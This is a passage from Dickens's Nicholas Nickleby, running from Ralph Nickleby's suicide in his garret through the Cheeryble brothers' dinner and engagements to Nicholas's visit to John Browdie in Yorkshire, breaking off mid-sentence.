+Nicholas, and the attachment of Nicholas to him, was insupportable +agony. The picture of his deathbed, with Nicholas at his side, +tending and supporting him, and he breathing out his thanks, and +expiring in his arms, when he would have had them mortal enemies and +hating each other to the last, drove him frantic. He gnashed his +teeth and smote the air, and looking wildly round, with eyes which +gleamed through the darkness, cried aloud: + +'I am trampled down and ruined. The wretch told me true. The night +has come! Is there no way to rob them of further triumph, and spurn +their mercy and compassion? Is there no devil to help me?' + +Swiftly, there glided again into his brain the figure he had raised +that night. It seemed to lie before him. The head was covered now. +So it was when he first saw it. The rigid, upturned, marble feet +too, he remembered well. Then came before him the pale and +trembling relatives who had told their tale upon the inquest--the +shrieks of women--the silent dread of men--the consternation and +disquiet--the victory achieved by that heap of clay, which, with one +motion of its hand, had let out the life and made this stir among +them-- + +He spoke no more; but, after a pause, softly groped his way out of +the room, and up the echoing stairs--up to the top--to the front +garret--where he closed the door behind him, and remained. + +It was a mere lumber-room now, but it yet contained an old +dismantled bedstead; the one on which his son had slept; for no +other had ever been there. He avoided it hastily, and sat down as +far from it as he could. + +The weakened glare of the lights in the street below, shining +through the window which had no blind or curtain to intercept it, +was enough to show the character of the room, though not sufficient +fully to reveal the various articles of lumber, old corded trunks +and broken furniture, which were scattered about. It had a shelving +roof; high in one part, and at another descending almost to the +floor. It was towards the highest part that Ralph directed his +eyes; and upon it he kept them fixed steadily for some minutes, when +he rose, and dragging thither an old chest upon which he had been +seated, mounted on it, and felt along the wall above his head with +both hands. At length, they touched a large iron hook, firmly +driven into one of the beams. + +At that moment, he was interrupted by a loud knocking at the door +below. After a little hesitation he opened the window, and demanded +who it was. + +'I want Mr Nickleby,' replied a voice. + +'What with him?' + +'That's not Mr Nickleby's voice, surely?' was the rejoinder. + +It was not like it; but it was Ralph who spoke, and so he said. + +The voice made answer that the twin brothers wished to know whether +the man whom he had seen that night was to be detained; and that +although it was now midnight they had sent, in their anxiety to do +right. + +'Yes,' cried Ralph, 'detain him till tomorrow; then let them bring +him here--him and my nephew--and come themselves, and be sure that I +will be ready to receive them.' + +'At what hour?' asked the voice. + +'At any hour,' replied Ralph fiercely. 'In the afternoon, tell +them. At any hour, at any minute. All times will be alike to me.' + +He listened to the man's retreating footsteps until the sound had +passed, and then, gazing up into the sky, saw, or thought he saw, +the same black cloud that had seemed to follow him home, and which +now appeared to hover directly above the house. + +'I know its meaning now,' he muttered, 'and the restless nights, the +dreams, and why I have quailed of late. All pointed to this. Oh! if +men by selling their own souls could ride rampant for a term, for +how short a term would I barter mine tonight!' + +The sound of a deep bell came along the wind. One. + +'Lie on!' cried the usurer, 'with your iron tongue! Ring merrily +for births that make expectants writhe, and marriages that are made +in hell, and toll ruefully for the dead whose shoes are worn +already! Call men to prayers who are godly because not found out, +and ring chimes for the coming in of every year that brings this +cursed world nearer to its end. No bell or book for me! Throw me +on a dunghill, and let me rot there, to infect the air!' + +With a wild look around, in which frenzy, hatred, and despair were +horribly mingled, he shook his clenched hand at the sky above him, +which was still dark and threatening, and closed the window. + +The rain and hail pattered against the glass; the chimneys quaked +and rocked; the crazy casement rattled with the wind, as though an +impatient hand inside were striving to burst it open. But no hand +was there, and it opened no more. + + +'How's this?' cried one. 'The gentleman say they can't make anybody +hear, and have been trying these two hours.' + +'And yet he came home last night,' said another; 'for he spoke to +somebody out of that window upstairs.' + +They were a little knot of men, and, the window being mentioned, +went out into the road to look up at it. This occasioned their +observing that the house was still close shut, as the housekeeper +had said she had left it on the previous night, and led to a great +many suggestions: which terminated in two or three of the boldest +getting round to the back, and so entering by a window, while the +others remained outside, in impatient expectation. + +They looked into all the rooms below: opening the shutters as they +went, to admit the fading light: and still finding nobody, and +everything quiet and in its place, doubted whether they should go +farther. One man, however, remarking that they had not yet been +into the garret, and that it was there he had been last seen, they +agreed to look there too, and went up softly; for the mystery and +silence made them timid. + +After they had stood for an instant, on the landing, eyeing each +other, he who had proposed their carrying the search so far, turned +the handle of the door, and, pushing it open, looked through the +chink, and fell back directly. + +'It's very odd,' he whispered, 'he's hiding behind the door! Look!' + +They pressed forward to see; but one among them thrusting the others +aside with a loud exclamation, drew a clasp-knife from his pocket, +and dashing into the room, cut down the body. + +He had torn a rope from one of the old trunks, and hung himself on +an iron hook immediately below the trap-door in the ceiling--in the +very place to which the eyes of his son, a lonely, desolate, little +creature, had so often been directed in childish terror, fourteen +years before. + + + +CHAPTER 63 + +The Brothers Cheeryble make various Declarations for themselves and +others. Tim Linkinwater makes a Declaration for himself + + +Some weeks had passed, and the first shock of these events had +subsided. Madeline had been removed; Frank had been absent; and +Nicholas and Kate had begun to try in good earnest to stifle their +own regrets, and to live for each other and for their mother--who, +poor lady, could in nowise be reconciled to this dull and altered +state of affairs--when there came one evening, per favour of Mr +Linkinwater, an invitation from the brothers to dinner on the next +day but one: comprehending, not only Mrs Nickleby, Kate, and +Nicholas, but little Miss La Creevy, who was most particularly +mentioned. + +'Now, my dears,' said Mrs Nickleby, when they had rendered becoming +honour to the bidding, and Tim had taken his departure, 'what does +THIS mean?' + +'What do YOU mean, mother?' asked Nicholas, smiling. + +'I say, my dear,' rejoined that lady, with a face of unfathomable +mystery, 'what does this invitation to dinner mean? What is its +intention and object?' + +'I conclude it means, that on such a day we are to eat and drink in +their house, and that its intent and object is to confer pleasure +upon us,' said Nicholas. + +'And that's all you conclude it is, my dear?' + +'I have not yet arrived at anything deeper, mother.' + +'Then I'll just tell you one thing,' said Mrs Nickleby, you'll find +yourself a little surprised; that's all. You may depend upon it +that this means something besides dinner.' + +'Tea and supper, perhaps,' suggested Nicholas. + +'I wouldn't be absurd, my dear, if I were you,' replied Mrs +Nickleby, in a lofty manner, 'because it's not by any means +becoming, and doesn't suit you at all. What I mean to say is, that +the Mr Cheerybles don't ask us to dinner with all this ceremony for +nothing. Never mind; wait and see. You won't believe anything I +say, of course. It's much better to wait; a great deal better; it's +satisfactory to all parties, and there can be no disputing. All I +say is, remember what I say now, and when I say I said so, don't say +I didn't.' + +With this stipulation, Mrs Nickleby, who was troubled, night and +day, with a vision of a hot messenger tearing up to the door to +announce that Nicholas had been taken into partnership, quitted that +branch of the subject, and entered upon a new one. + +'It's a very extraordinary thing,' she said, 'a most extraordinary +thing, that they should have invited Miss La Creevy. It quite +astonishes me, upon my word it does. Of course it's very pleasant +that she should be invited, very pleasant, and I have no doubt that +she'll conduct herself extremely well; she always does. It's very +gratifying to think that we should have been the means of +introducing her into such society, and I'm quite glad of it--quite +rejoiced--for she certainly is an exceedingly well-behaved and good- +natured little person. I could wish that some friend would mention +to her how very badly she has her cap trimmed, and what very +preposterous bows those are, but of course that's impossible, and if +she likes to make a fright of herself, no doubt she has a perfect +right to do so. We never see ourselves--never do, and never did-- +and I suppose we never shall.' + +This moral reflection reminding her of the necessity of being +peculiarly smart on the occasion, so as to counterbalance Miss La +Creevy, and be herself an effectual set-off and atonement, led Mrs +Nickleby into a consultation with her daughter relative to certain +ribbons, gloves, and trimmings: which, being a complicated question, +and one of paramount importance, soon routed the previous one, and +put it to flight. + +The great day arriving, the good lady put herself under Kate's hands +an hour or so after breakfast, and, dressing by easy stages, +completed her toilette in sufficient time to allow of her daughter's +making hers, which was very simple, and not very long, though so +satisfactory that she had never appeared more charming or looked +more lovely. Miss La Creevy, too, arrived with two bandboxes +(whereof the bottoms fell out as they were handed from the coach) +and something in a newspaper, which a gentleman had sat upon, coming +down, and which was obliged to be ironed again, before it was fit +for service. At last, everybody was dressed, including Nicholas, +who had come home to fetch them, and they went away in a coach sent +by the brothers for the purpose: Mrs Nickleby wondering very much +what they would have for dinner, and cross-examining Nicholas as to +the extent of his discoveries in the morning; whether he had smelt +anything cooking at all like turtle, and if not, what he had smelt; +and diversifying the conversation with reminiscences of dinners to +which she had gone some twenty years ago, concerning which she +particularised not only the dishes but the guests, in whom her +hearers did not feel a very absorbing interest, as not one of them +had ever chanced to hear their names before. + +The old butler received them with profound respect and many smiles, +and ushered them into the drawing-room, where they were received by +the brothers with so much cordiality and kindness that Mrs Nickleby +was quite in a flutter, and had scarcely presence of mind enough, +even to patronise Miss La Creevy. Kate was still more affected by +the reception: for, knowing that the brothers were acquainted with +all that had passed between her and Frank, she felt her position a +most delicate and trying one, and was trembling on the arm of +Nicholas, when Mr Charles took her in his, and led her to another +part of the room. + +'Have you seen Madeline, my dear,' he said, 'since she left your +house?' + +'No, sir!' replied Kate. 'Not once.' + +'And not heard from her, eh? Not heard from her?' + +'I have only had one letter,' rejoined Kate, gently. 'I thought she +would not have forgotten me quite so soon.' + +'Ah,' said the old man, patting her on the head, and speaking as +affectionately as if she had been his favourite child. 'Poor dear! +what do you think of this, brother Ned? Madeline has only written +to her once, only once, Ned, and she didn't think she would have +forgotten her quite so soon, Ned.' + +'Oh! sad, sad; very sad!' said Ned. + +The brothers interchanged a glance, and looking at Kate for a little +time without speaking, shook hands, and nodded as if they were +congratulating each other on something very delightful. + +'Well, well,' said brother Charles, 'go into that room, my dear-- +that door yonder--and see if there's not a letter for you from her. +I think there's one upon the table. You needn't hurry back, my +love, if there is, for we don't dine just yet, and there's plenty of +time. Plenty of time.' + +Kate retired as she was directed. Brother Charles, having followed +her graceful figure with his eyes, turned to Mrs Nickleby, and said: + +'We took the liberty of naming one hour before the real dinner-time, +ma'am, because we had a little business to speak about, which would +occupy the interval. Ned, my dear fellow, will you mention what we +agreed upon? Mr Nickleby, sir, have the goodness to follow me.' + +Without any further explanation, Mrs Nickleby, Miss La Creevy, and +brother Ned, were left alone together, and Nicholas followed brother +Charles into his private room; where, to his great astonishment, he +encountered Frank, whom he supposed to be abroad. + +'Young men,' said Mr Cheeryble, 'shake hands!' + +'I need no bidding to do that,' said Nicholas, extending his. + +'Nor I,' rejoined Frank, as he clasped it heartily. + +The old gentleman thought that two handsomer or finer young fellows +could scarcely stand side by side than those on whom he looked with +so much pleasure. Suffering his eyes to rest upon them, for a short +time in silence, he said, while he seated himself at his desk: + +'I wish to see you friends--close and firm friends--and if I thought +you otherwise, I should hesitate in what I am about to say. Frank, +look here! Mr Nickleby, will you come on the other side?' + +The young men stepped up on either hand of brother Charles, who +produced a paper from his desk, and unfolded it. + +'This,' he said, 'is a copy of the will of Madeline's maternal +grandfather, bequeathing her the sum of twelve thousand pounds, +payable either upon her coming of age or marrying. It would appear +that this gentleman, angry with her (his only relation) because she +would not put herself under his protection, and detach herself from +the society of her father, in compliance with his repeated +overtures, made a will leaving this property (which was all he +possessed) to a charitable institution. He would seem to have +repented this determination, however, for three weeks afterwards, +and in the same month, he executed this. By some fraud, it was +abstracted immediately after his decease, and the other--the only +will found--was proved and administered. Friendly negotiations, +which have only just now terminated, have been proceeding since this +instrument came into our hands, and, as there is no doubt of its +authenticity, and the witnesses have been discovered (after some +trouble), the money has been refunded. Madeline has therefore +obtained her right, and is, or will be, when either of the +contingencies which I have mentioned has arisen, mistress of this +fortune. You understand me?' + +Frank replied in the affirmative. Nicholas, who could not trust +himself to speak lest his voice should be heard to falter, bowed his +head. + +'Now, Frank,' said the old gentleman, 'you were the immediate means +of recovering this deed. The fortune is but a small one; but we +love Madeline; and such as it is, we would rather see you allied to +her with that, than to any other girl we know who has three times +the money. Will you become a suitor to her for her hand?' + +'No, sir. I interested myself in the recovery of that instrument, +believing that her hand was already pledged to one who has a +thousand times the claims upon her gratitude, and, if I mistake not, +upon her heart, that I or any other man can ever urge. In this it +seems I judged hastily.' + +'As you always, do, sir,' cried brother Charles, utterly forgetting +his assumed dignity, 'as you always do. How dare you think, Frank, +that we would have you marry for money, when youth, beauty, and +every amiable virtue and excellence were to be had for love? How +dared you, Frank, go and make love to Mr Nickleby's sister without +telling us first what you meant to do, and letting us speak for +you?' + +'I hardly dared to hope--' + +'You hardly dared to hope! Then, so much the greater reason for +having our assistance! Mr Nickleby, sir, Frank, although he judged +hastily, judged, for once, correctly. Madeline's heart IS occupied. +Give me your hand, sir; it is occupied by you, and worthily and +naturally. This fortune is destined to be yours, but you have a +greater fortune in her, sir, than you would have in money were it +forty times told. She chooses you, Mr Nickleby. She chooses as we, +her dearest friends, would have her choose. Frank chooses as we +would have HIM choose. He should have your sister's little hand, +sir, if she had refused it a score of times; ay, he should, and he +shall! You acted nobly, not knowing our sentiments, but now you +know them, sir, you must do as you are bid. What! You are the +children of a worthy gentleman! The time was, sir, when my dear +brother Ned and I were two poor simple-hearted boys, wandering, +almost barefoot, to seek our fortunes: are we changed in anything +but years and worldly circumstances since that time? No, God +forbid! Oh, Ned, Ned, Ned, what a happy day this is for you and me! +If our poor mother had only lived to see us now, Ned, how proud it +would have made her dear heart at last!' + +Thus apostrophised, brother Ned, who had entered with Mrs Nickleby, +and who had been before unobserved by the young men, darted forward, +and fairly hugged brother Charles in his arms. + +'Bring in my little Kate,' said the latter, after a short silence. +'Bring her in, Ned. Let me see Kate, let me kiss her. I have a +right to do so now; I was very near it when she first came; I have +often been very near it. Ah! Did you find the letter, my bird? +Did you find Madeline herself, waiting for you and expecting you? +Did you find that she had not quite forgotten her friend and nurse +and sweet companion? Why, this is almost the best of all!' + +'Come, come,' said Ned, 'Frank will be jealous, and we shall have +some cutting of throats before dinner.' + +'Then let him take her away, Ned, let him take her away. Madeline's +in the next room. Let all the lovers get out of the way, and talk +among themselves, if they've anything to say. Turn 'em out, Ned, +every one!' + +Brother Charles began the clearance by leading the blushing girl to +the door, and dismissing her with a kiss. Frank was not very slow +to follow, and Nicholas had disappeared first of all. So there only +remained Mrs Nickleby and Miss La Creevy, who were both sobbing +heartily; the two brothers; and Tim Linkinwater, who now came in to +shake hands with everybody: his round face all radiant and beaming +with smiles. + +'Well, Tim Linkinwater, sir,' said brother Charles, who was always +spokesman, 'now the young folks are happy, sir.' + +'You didn't keep 'em in suspense as long as you said you would, +though,' returned Tim, archly. 'Why, Mr Nickleby and Mr Frank were +to have been in your room for I don't know how long; and I don't +know what you weren't to have told them before you came out with the +truth.' + +'Now, did you ever know such a villain as this, Ned?' said the old +gentleman; 'did you ever know such a villain as Tim Linkinwater? He +accusing me of being impatient, and he the very man who has been +wearying us morning, noon, and night, and torturing us for leave to +go and tell 'em what was in store, before our plans were half +complete, or we had arranged a single thing. A treacherous dog!' + +'So he is, brother Charles,' returned Ned; 'Tim is a treacherous +dog. Tim is not to be trusted. Tim is a wild young fellow. He +wants gravity and steadiness; he must sow his wild oats, and then +perhaps he'll become in time a respectable member of society.' + +This being one of the standing jokes between the old fellows and +Tim, they all three laughed very heartily, and might have laughed +much longer, but that the brothers, seeing that Mrs Nickleby was +labouring to express her feelings, and was really overwhelmed by the +happiness of the time, took her between them, and led her from the +room under pretence of having to consult her on some most important +arrangements. + +Now, Tim and Miss La Creevy had met very often, and had always been +very chatty and pleasant together--had always been great friends-- +and consequently it was the most natural thing in the world that +Tim, finding that she still sobbed, should endeavour to console her. +As Miss La Creevy sat on a large old-fashioned window-seat, where +there was ample room for two, it was also natural that Tim should +sit down beside her; and as to Tim's being unusually spruce and +particular in his attire that day, why it was a high festival and a +great occasion, and that was the most natural thing of all. + +Tim sat down beside Miss La Creevy, and, crossing one leg over the +other so that his foot--he had very comely feet and happened to be +wearing the neatest shoes and black silk stockings possible--should +come easily within the range of her eye, said in a soothing way: + +'Don't cry!' + +'I must,' rejoined Miss La Creevy. + +'No, don't,' said Tim. 'Please don't; pray don't.' + +'I am so happy!' sobbed the little woman. + +'Then laugh,' said Tim. 'Do laugh.' + +What in the world Tim was doing with his arm, it is impossible to +conjecture, but he knocked his elbow against that part of the window +which was quite on the other side of Miss La Creevy; and it is clear +that it could have no business there. + +'Do laugh,' said Tim, 'or I'll cry.' + +'Why should you cry?' asked Miss La Creevy, smiling. + +'Because I'm happy too,' said Tim. 'We are both happy, and I should +like to do as you do.' + +Surely, there never was a man who fidgeted as Tim must have done +then; for he knocked the window again--almost in the same place--and +Miss La Creevy said she was sure he'd break it. + +'I knew,' said Tim, 'that you would be pleased with this scene.' + +'It was very thoughtful and kind to remember me,' returned Miss La +Creevy. 'Nothing could have delighted me half so much.' + +Why on earth should Miss La Creevy and Tim Linkinwater have said all +this in a whisper? It was no secret. And why should Tim +Linkinwater have looked so hard at Miss La Creevy, and why should +Miss La Creevy have looked so hard at the ground? + +'It's a pleasant thing,' said Tim, 'to people like us, who have +passed all our lives in the world alone, to see young folks that we +are fond of, brought together with so many years of happiness before +them.' + +'Ah!' cried the little woman with all her heart, 'that it is!' + +'Although,' pursued Tim 'although it makes one feel quite solitary +and cast away. Now don't it?' + +Miss La Creevy said she didn't know. And why should she say she +didn't know? Because she must have known whether it did or not. + +'It's almost enough to make us get married after all, isn't it?' +said Tim. + +'Oh, nonsense!' replied Miss La Creevy, laughing. 'We are too old.' + +'Not a bit,' said Tim; 'we are too old to be single. Why shouldn't +we both be married, instead of sitting through the long winter +evenings by our solitary firesides? Why shouldn't we make one +fireside of it, and marry each other?' + +'Oh, Mr Linkinwater, you're joking!' + +'No, no, I'm not. I'm not indeed,' said Tim. 'I will, if you will. +Do, my dear!' + +'It would make people laugh so.' + +'Let 'em laugh,' cried Tim stoutly; 'we have good tempers I know, +and we'll laugh too. Why, what hearty laughs we have had since +we've known each other!' + +'So we have,' cried' Miss La Creevy--giving way a little, as Tim +thought. + +'It has been the happiest time in all my life; at least, away from +the counting-house and Cheeryble Brothers,' said Tim. 'Do, my dear! +Now say you will.' + +'No, no, we mustn't think of it,' returned Miss La Creevy. 'What +would the brothers say?' + +'Why, God bless your soul!' cried Tim, innocently, 'you don't +suppose I should think of such a thing without their knowing it! +Why they left us here on purpose.' + +'I can never look 'em in the face again!' exclaimed Miss La Creevy, +faintly. + +'Come,' said Tim, 'let's be a comfortable couple. We shall live in +the old house here, where I have been for four-and-forty year; we +shall go to the old church, where I've been, every Sunday morning, +all through that time; we shall have all my old friends about us-- +Dick, the archway, the pump, the flower-pots, and Mr Frank's +children, and Mr Nickleby's children, that we shall seem like +grandfather and grandmother to. Let's be a comfortable couple, and +take care of each other! And if we should get deaf, or lame, or +blind, or bed-ridden, how glad we shall be that we have somebody we +are fond of, always to talk to and sit with! Let's be a comfortable +couple. Now, do, my dear!' + +Five minutes after this honest and straightforward speech, little +Miss La Creevy and Tim were talking as pleasantly as if they had +been married for a score of years, and had never once quarrelled all +the time; and five minutes after that, when Miss La Creevy had +bustled out to see if her eyes were red and put her hair to rights, +Tim moved with a stately step towards the drawing-room, exclaiming +as he went, 'There an't such another woman in all London! I KNOW +there an't!' + +By this time, the apoplectic butler was nearly in fits, in +consequence of the unheard-of postponement of dinner. Nicholas, who +had been engaged in a manner in which every reader may imagine for +himself or herself, was hurrying downstairs in obedience to his +angry summons, when he encountered a new surprise. + +On his way down, he overtook, in one of the passages, a stranger +genteelly dressed in black, who was also moving towards the dining- +room. As he was rather lame, and walked slowly, Nicholas lingered +behind, and was following him step by step, wondering who he was, +when he suddenly turned round and caught him by both hands. + +'Newman Noggs!' cried Nicholas joyfully + +'Ah! Newman, your own Newman, your own old faithful Newman! My dear +boy, my dear Nick, I give you joy--health, happiness, every +blessing! I can't bear it--it's too much, my dear boy--it makes a +child of me!' + +'Where have you been?' said Nicholas. 'What have you been doing? +How often have I inquired for you, and been told that I should hear +before long!' + +'I know, I know!' returned Newman. 'They wanted all the happiness +to come together. I've been helping 'em. I--I--look at me, Nick, +look at me!' + +'You would never let ME do that,' said Nicholas in a tone of gentle +reproach. + +'I didn't mind what I was, then. I shouldn't have had the heart to +put on gentleman's clothes. They would have reminded me of old +times and made me miserable. I am another man now, Nick. My dear +boy, I can't speak. Don't say anything to me. Don't think the worse +of me for these tears. You don't know what I feel today; you can't, +and never will!' + +They walked in to dinner arm-in-arm, and sat down side by side. + +Never was such a dinner as that, since the world began. There was +the superannuated bank clerk, Tim Linkinwater's friend; and there +was the chubby old lady, Tim Linkinwater's sister; and there was so +much attention from Tim Linkinwater's sister to Miss La Creevy, and +there were so many jokes from the superannuated bank clerk, and Tim +Linkinwater himself was in such tiptop spirits, and little Miss La +Creevy was in such a comical state, that of themselves they would +have composed the pleasantest party conceivable. Then, there was +Mrs Nickleby, so grand and complacent; Madeline and Kate, so +blushing and beautiful; Nicholas and Frank, so devoted and proud; +and all four so silently and tremblingly happy; there was Newman so +subdued yet so overjoyed, and there were the twin brothers so +delighted and interchanging such looks, that the old servant stood +transfixed behind his master's chair, and felt his eyes grow dim as +they wandered round the table. + +When the first novelty of the meeting had worn off, and they began +truly to feel how happy they were, the conversation became more +general, and the harmony and pleasure if possible increased. The +brothers were in a perfect ecstasy; and their insisting on saluting +the ladies all round, before they would permit them to retire, gave +occasion to the superannuated bank clerk to say so many good things, +that he quite outshone himself, and was looked upon as a prodigy of +humour. + +'Kate, my dear,' said Mrs Nickleby, taking her daughter aside, as +soon as they got upstairs, 'you don't really mean to tell me that +this is actually true about Miss La Creevy and Mr Linkinwater?' + +'Indeed it is, mama.' + +'Why, I never heard such a thing in my life!' exclaimed Mrs +Nickleby. + +'Mr Linkinwater is a most excellent creature,' reasoned Kate, 'and, +for his age, quite young still.' + +'For HIS age, my dear!' returned Mrs Nickleby, 'yes; nobody says +anything against him, except that I think he is the weakest and most +foolish man I ever knew. It's HER age I speak of. That he should +have gone and offered himself to a woman who must be--ah, half as +old again as I am--and that she should have dared to accept him! It +don't signify, Kate; I'm disgusted with her!' + +Shaking her head very emphatically indeed, Mrs Nickleby swept away; +and all the evening, in the midst of the merriment and enjoyment +that ensued, and in which with that exception she freely +participated, conducted herself towards Miss La Creevy in a stately +and distant manner, designed to mark her sense of the impropriety of +her conduct, and to signify her extreme and cutting disapprobation +of the misdemeanour she had so flagrantly committed. + + + +CHAPTER 64 + +An old Acquaintance is recognised under melancholy Circumstances, +and Dotheboys Hall breaks up for ever + + +Nicholas was one of those whose joy is incomplete unless it is +shared by the friends of adverse and less fortunate days. +Surrounded by every fascination of love and hope, his warm heart +yearned towards plain John Browdie. He remembered their first +meeting with a smile, and their second with a tear; saw poor Smike +once again with the bundle on his shoulder trudging patiently by his +side; and heard the honest Yorkshireman's rough words of +encouragement as he left them on their road to London. + +Madeline and he sat down, very many times, jointly to produce a +letter which should acquaint John at full length with his altered +fortunes, and assure him of his friendship and gratitude. It so +happened, however, that the letter could never be written. Although +they applied themselves to it with the best intentions in the world, +it chanced that they always fell to talking about something else, +and when Nicholas tried it by himself, he found it impossible to +write one-half of what he wished to say, or to pen anything, indeed, +which on reperusal did not appear cold and unsatisfactory compared +with what he had in his mind. At last, after going on thus from day +to day, and reproaching himself more and more, he resolved (the more +readily as Madeline strongly urged him) to make a hasty trip into +Yorkshire, and present himself before Mr and Mrs Browdie without a +word of notice. + +Thus it was that between seven and eight o'clock one evening, he and +Kate found themselves in the Saracen's Head booking-office, securing +a place to Greta Bridge by the next morning's coach. They had to go +westward, to procure some little necessaries for his journey, and, +as it was a fine night, they agreed to walk there, and ride home. + +The place they had just been in called up so many recollections, and +Kate had so many anecdotes of Madeline, and Nicholas so many +anecdotes of Frank, and each was so interested in what the other +said, and both were so happy and confiding, and had so much to talk +about, that it was not until they had plunged for a full half-hour +into that labyrinth of streets which lies between Seven Dials and +Soho, without emerging into any large thoroughfare, that Nicholas +began to think it just possible they might have lost their way. + +The possibility was soon converted into a certainty; for, on looking +about, and walking first to one end of the street and then to the +other, he could find no landmark he could recognise, and was fain to +turn back again in quest of some place at which he could seek a +direction. + +It was a by-street, and there was nobody about, or in the few +wretched shops they passed. Making towards a faint gleam of light +which streamed across the pavement from a cellar, Nicholas was about +to descend two or three steps so as to render himself visible to +those below and make his inquiry, when he was arrested by a loud +noise of scolding in a woman's voice. + +'Oh come away!' said Kate, 'they are quarrelling. You'll be hurt.' + +'Wait one instant, Kate. Let us hear if there's anything the +matter,' returned her brother. 'Hush!' + +'You nasty, idle, vicious, good-for-nothing brute,' cried the woman, +stamping on the ground, 'why don't you turn the mangle?' + +'So I am, my life and soul!' replied the man's voice. 'I am always +turning. I am perpetually turning, like a demd old horse in a +demnition mill. My life is one demd horrid grind!' + +'Then why don't you go and list for a soldier?' retorted the woman; +'you're welcome to.' + +'For a soldier!' cried the man. 'For a soldier! Would his joy and +gladness see him in a coarse red coat with a little tail? Would she +hear of his being slapped and beat by drummers demnebly? Would she +have him fire off real guns, and have his hair cut, and his whiskers +shaved, and his eyes turned right and left, and his trousers +pipeclayed?' + +'Dear Nicholas,' whispered Kate, 'you don't know who that is. It's +Mr Mantalini I am confident.' + +'Do make sure! Peep at him while I ask the way,' said Nicholas. +'Come down a step or two. Come!' + +Drawing her after him, Nicholas crept down the steps and looked into +a small boarded cellar. There, amidst clothes-baskets and clothes, +stripped up to his shirt-sleeves, but wearing still an old patched +pair of pantaloons of superlative make, a once brilliant waistcoat, +and moustache and whiskers as of yore, but lacking their lustrous +dye--there, endeavouring to mollify the wrath of a buxom female--not +the lawful Madame Mantalini, but the proprietress of the concern-- +and grinding meanwhile as if for very life at the mangle, whose +creaking noise, mingled with her shrill tones, appeared almost to +deafen him--there was the graceful, elegant, fascinating, and once +dashing Mantalini. + +'Oh you false traitor!' cried the lady, threatening personal +violence on Mr Mantalini's face. + +'False! Oh dem! Now my soul, my gentle, captivating, bewitching, +and most demnebly enslaving chick-a-biddy, be calm,' said Mr +Mantalini, humbly. + +'I won't!' screamed the woman. 'I'll tear your eyes out!' + +'Oh! What a demd savage lamb!' cried Mr Mantalini. + +'You're never to be trusted,' screamed the woman; 'you were out all +day yesterday, and gallivanting somewhere I know. You know you were! +Isn't it enough that I paid two pound fourteen for you, and took you +out of prison and let you live here like a gentleman, but must you +go on like this: breaking, my heart besides?' + +'I will never break its heart, I will be a good boy, and never do so +any more; I will never be naughty again; I beg its little pardon,' +said Mr Mantalini, dropping the handle of the mangle, and folding +his palms together; 'it is all up with its handsome friend! He has +gone to the demnition bow-wows. It will have pity? It will not +scratch and claw, but pet and comfort? Oh, demmit!' + +Very little affected, to judge from her action, by this tender +appeal, the lady was on the point of returning some angry reply, +when Nicholas, raising his voice, asked his way to Piccadilly. + +Mr Mantalini turned round, caught sight of Kate, and, without +another word, leapt at one bound into a bed which stood behind the +door, and drew the counterpane over his face: kicking meanwhile +convulsively. + +'Demmit,' he cried, in a suffocating voice, 'it's little Nickleby! +Shut the door, put out the candle, turn me up in the bedstead! Oh, +dem, dem, dem!' + +The woman looked, first at Nicholas, and then at Mr Mantalini, as if +uncertain on whom to visit this extraordinary behaviour; but Mr +Mantalini happening by ill-luck to thrust his nose from under the +bedclothes, in his anxiety to ascertain whether the visitors were +gone, she suddenly, and with a dexterity which could only have been +acquired by long practice, flung a pretty heavy clothes-basket at +him, with so good an aim that he kicked more violently than before, +though without venturing to make any effort to disengage his head, +which was quite extinguished. Thinking this a favourable +opportunity for departing before any of the torrent of her wrath +discharged itself upon him, Nicholas hurried Kate off, and left the +unfortunate subject of this unexpected recognition to explain his +conduct as he best could. + +The next morning he began his journey. It was now cold, winter +weather: forcibly recalling to his mind under what circumstances he +had first travelled that road, and how many vicissitudes and changes +he had since undergone. He was alone inside the greater part of the +way, and sometimes, when he had fallen into a doze, and, rousing +himself, looked out of the window, and recognised some place which +he well remembered as having passed, either on his journey down, or +in the long walk back with poor Smike, he could hardly believe but +that all which had since happened had been a dream, and that they +were still plodding wearily on towards London, with the world before +them. + +To render these recollections the more vivid, it came on to snow as +night set in; and, passing through Stamford and Grantham, and by the +little alehouse where he had heard the story of the bold Baron of +Grogzwig, everything looked as if he had seen it but yesterday, and +not even a flake of the white crust on the roofs had melted away. +Encouraging the train of ideas which flocked upon him, he could +almost persuade himself that he sat again outside the coach, with +Squeers and the boys; that he heard their voices in the air; and +that he felt again, but with a mingled sensation of pain and +pleasure now, that old sinking of the heart, and longing after home. +While he was yet yielding himself up to these fancies he fell +asleep, and, dreaming of Madeline, forgot them. + +He slept at the inn at Greta Bridge on the night of his arrival, +and, rising at a very early hour next morning, walked to the market +town, and inquired for John Browdie's house. John lived in the +outskirts, now he was a family man; and as everbody knew him, +Nicholas had no difficulty in finding a boy who undertook to guide +him to his residence. + +Dismissing his guide at the gate, and in his impatience not even +stopping to admire the thriving look of cottage or garden either, +Nicholas made his way to the kitchen door, and knocked lustily with +his stick. + +'Halloa!' cried a voice inside. 'Wa'et be the matther noo? Be the +toon a-fire? Ding, but thou mak'st noise eneaf!' + +With these words, John Browdie opened the door himself, and opening +his eyes too to their utmost width, cried, as he clapped his hands +together, and burst into a hearty roar: + +'Ecod, it be the godfeyther, it be the godfeyther! Tilly, here be +Misther Nickleby. Gi' us thee hond, mun. Coom awa', coom awa'. In +wi 'un, doon beside the fire; tak' a soop o' thot. Dinnot say a +word till thou'st droonk it a'! Oop wi' it, mun. Ding! but I'm +reeght glod to see thee.' + +Adapting his action to his text, John dragged Nicholas into the +kitchen, forced him down upon a huge settle beside a blazing fire, +poured out from an enormous bottle about a quarter of a pint of +spirits, thrust it into his hand, opened his mouth and threw back +his head as a sign to him to drink it instantly, and stood with a +broad grin of welcome overspreading his great red face like a jolly +giant. + +'I might ha' knowa'd,' said John,;' that nobody but thou would ha' +coom wi' sike a knock as you. Thot was the wa' thou knocked at +schoolmeasther's door, eh? Ha, ha, ha! But I say; wa'at be a' this +aboot schoolmeasther?' + +'You know it then?' said Nicholas. + +'They were talking aboot it, doon toon, last neeght,' replied John, +'but neane on 'em seemed quite to un'erstan' it, loike.' + +'After various shiftings and delays,' said Nicholas, 'he has been +sentenced to be transported for seven years, for being in the +unlawful possession of a stolen will; and, after that, he has to +suffer the consequence of a conspiracy.' + +'Whew!' cried John, 'a conspiracy! Soom'at in the pooder-plot wa'? +Eh? Soom'at in the Guy Faux line?' + +'No, no, no, a conspiracy connected with his school; I'll explain it +presently.' + +'Thot's reeght!' said John, 'explain it arter breakfast, not noo, +for thou be'est hoongry, and so am I; and Tilly she mun' be at the +bottom o' a' explanations, 